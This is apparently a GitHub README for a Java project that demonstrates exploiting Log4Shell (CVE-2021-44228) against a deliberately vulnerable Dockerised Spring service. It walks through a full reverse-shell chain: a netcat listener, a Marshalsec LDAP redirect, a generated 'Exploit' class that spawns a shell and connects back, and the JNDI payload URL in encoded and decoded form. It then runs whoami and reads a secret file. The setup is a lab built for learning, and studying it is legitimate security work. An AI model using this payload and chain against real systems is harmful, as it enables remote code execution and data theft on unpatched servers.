A Java-based project presenting how to exploit CVE-2021-44228 vulnerability.
Log4j.Vulnerability.mp4
- A Linux-based operating system: I used Ubuntu Desktop 20.10 64 bits
- OpenJDK 17.0.1: To build the exploitation program. Newer versions might work as well.
- Oracle Java Development Kit (JDK) 1.8.0_181: This is essential for the exploitation to work. It is not necessary to have it installed, but the project needs it extracted on the root directory. The JDK can be found on Oracle Java SE 8 Archive Downloads (JDK 8u202 and earlier) page.
- Apache Maven 3.6.3: To manage dependencies and generate jar files. Later versions might work as well.
- Docker 20.10.12: To manage the container which contains the service to be exploited. Later versions might work as well.
- Docker-compose 1.29.2: To help orchestrate the image generation as well as the container creation, execution and removal. Later versions might work as well.
- GNU Make 4.3: This project uses Makefile to help verify and generate mandatory files. Later versions might work as well.
- OpenBSD Netcat (aka nc): To create the communication with the invaded server. This package can be install through your Linux distribution package manager (like apt).
- (Recommended) IntelliJ IDEA Community Edition 2021.3.1: If you want to check what is under the hood of these projects then I recommend installing this IDE. Once again, later versions might work as well.
- Clone this repository into our local machine.
- Download Oracle Java SE 8 Archive Downloads (JDK 8u202 and earlier) page and extract it on the project root directory. Keep it under the
jdk1.8.0_181
directory created during the extraction. - Run
make all
to build all projects and create a Docker image with the vulnerable service. - Open three terminals and run the following commands:
- First terminal:
make start-vulnerable-service
to start a Docker container running the service to be exploited. The service will accessible through local machine port 8080 - Second terminal:
make start-nc
to start a TCP listener which will wait for the connection with the invaded server to be stablished. - Third terminal:
make start-exploiter
to start the program which will help us exploit the vulnerability.
- First terminal:
- After starting the third terminal, exploiter program will present an URL to access. Paste it on your browser to start the exploitation.
- If everything happened as expected, the browser will not receive a response and the browser will be stuck in a loading status.
- Now check the second terminal (the one where
make start-nc
has been executed). You might have received a message likeConnection received on 172.24.0.2 46638
(IP address and TCP port might not be the same as presented here). This means that the exploitation worked and we now have a shell connected on the server/Docker container. - To be sure if everything occurred as expected, try to execute a
whoami
command. You might receiveroot
as output. - Now try to run
cat ../private-directory/my-secret-file.txt
to see what happens. 🙂 - Once you have finished messing up with the server, press
CTRL+C
to close the connection. - You can also press
CTRL+C
on the other terminals to interrupt the processes.
Before answering that, let us take a look about the processes created throughout the flow.
This docker container will serve a simple HTTP service responsible to receive GET
requests on /log
path with an input
parameter. Once it receives, it logs the input on conosole.
docker-container.mp4
In order to exploit the vulnerability, a few specific configurations are required:
- The Java runtime environment (JRE) version used to run the service is
1.8.0_181
. This is necessary to allow a Java class to be loaded from an external service. - The Java project dependencies have to be heavily modified to replace default
spring-boot-starter-logging:2.6.1
byspring-boot-starter-log4j2:2.6.1
. The later bringslog4j-core:2.14.1
to the project, which is a version vulnerable to CVE-2021-44228.
- The service Jar file was created with Java compiler version
1.8.0_181
.
There are no major explanations or tweaks here. This is a simple program used to read and write data through TCP and UDP protocols. We will use it to keep listening for incoming TCP connections on port 9001 (something else will open this connection for us on the server side. 😉).
Once it stablishes the connection, all incoming data will be outputted on the console. Also, all input written will be sent through this connection.
Now this is where the fun begins!
This program encapsulates several steps required to exploit the vulnerability. Let's break it down:
In order to run this program, we need to inform three parameters:
- HTTP server and Netcat IP address/host: In order to exploit the vulnerability, we will need the HTTP server IP address relative to the vulnerable service so our LDAP response can redirect it to download the compiled Java class through it. It will also be used by the Java class itself to open a TCP connection with Netcat (explained above).
- HTTP server port: The port where the HTTP server responsible to send the compiled Java class will accept connections. It will also be sent with the LDAP response to inform the port from where the compiled Java class will be downloaded.
- Netcat port: The port where Netcat is listening for connections. It will be used by the compiled Java class to open a TCP connection with Netcat.
Once the program starts, it will write a Java code based on a template. This template requires two arguments: The Netcat IP address and port.
Once the code is written, the program will then compile it into a binary class file using Java compiler (javac
) version 1.8.0_181
. This is important to keep the same code version as the exploited service.
The Exploit Java class has rather a simple structure. On its constructor there is an instruction requesting the operating system to create a shell program. Once it is created, the class opens a TCP connection with Netcat, binds the shell & TCP connection inputs & outputs and traps the Java virtual machine execution into a loop until the connection is closed by Netcat. Once it exites the loop the constructor continues as if nothing has happened.
Exploiter opens a sub-process requesting Marshalsec Java program to be executed. Marshalsec program is available at mbechler/marchalsec Github project.
Along with other funcionalities, it manages LDAP requests and can be used to ask incoming connections to resolve requests by downloading Java classes from an external source. In our case, we will use it to request incoming connections to download our Exploit
Java class from HTTP service.
Once Exploiter program has created the rigged Java class, it will start a HTTP service with a single response: The Exploit binary Java class.
To put it short, when the vulnerable service requests the external class to be loaded, this service will read the Java class binary file and send it back to the vulnerable service. Simple as that!
Once everything is up and running, the program will then output the HTTP request required to trigger the exploitation. Simply copy and paste it into your favourite browser or curl
it throught a terminal, whichever works best for you!
The request will be something similar to this:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
Since the query parameters contains special characters, they need to be encoded so the browser can accept it. If we decode it the message will be:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
Here is a simplified diagram of what happens once the request is sent:
I will try to use it to explain what happens next:
- The browser will send the HTTP request to our vulnerable service.
- The vulnerable service will accept the request and logs the user input.
- Once log4j receives the message, it notices that there is a content to be resolved:
${jndi:ldap://host.docker.internal:1389/a}
. - According to the value, the content to be presented must be retrieved thought LDAP protocol from
host.docker.internal:1389
using thea
key (a rather dull and invalid LDAP distinguished name but, hey, as long as it works...). Log4j then sends a request to this address with the intent to retrieve the value.
Observation: host.docker.internal
is a valid address from Docker service to reach the physical machine it is running on.
- Marshalsec program (running locally on port 1389) will then accept the incoming request and ask the vulnerable service to download a Java class file available at
host.docker.internal:8000
with the nameExploit
to resolve the request. - Log4j then sends a request to
host.docker.internal:8000
asking to get a resource available at/Exploit
path. - The HTTP service (running locally on port 8000) will then respond the request sending the
Exploit
binary Java class. - Log4j then tries to instantiate the class to resolve the variable by executing its
Exploit()
constructor method. Exploit()
constructor method starts a shell program on the server, and requests a TCP channel to be opened withhost.docker.internal:9001
.- Netcat (running locally on port 9001) then accepts the incoming TCP connection.
Exploit()
constructor method thens binds the shell inputs & outputs with the TCP connection and traps the Java Virtual Machine thread in a loop until the TCP connection is closed by the other side.- Netcat can now be used to send shell commands and receive outputs from the server.
TBD
kozmer/log4j-shell-poc Github project - It helped me understand how the exploitation works. Thank you all who contributed to this project!
mbechler/marchalsec Github project - I would not be able to work with LDAP communication and redirection as quickly as I did without this project. Thank you folks!
SrcCodes Log4j Vulnerability video - A well explained video presenting how to start the exploitation on a Spring-based program.
Nowcomm CVE-2021-44228 exploit demo video - A nice video explaining how to exploit CVE-2021-44228 on Apache Solr. I had to watch the second half about a dozen times to understand what was actually happening! 😛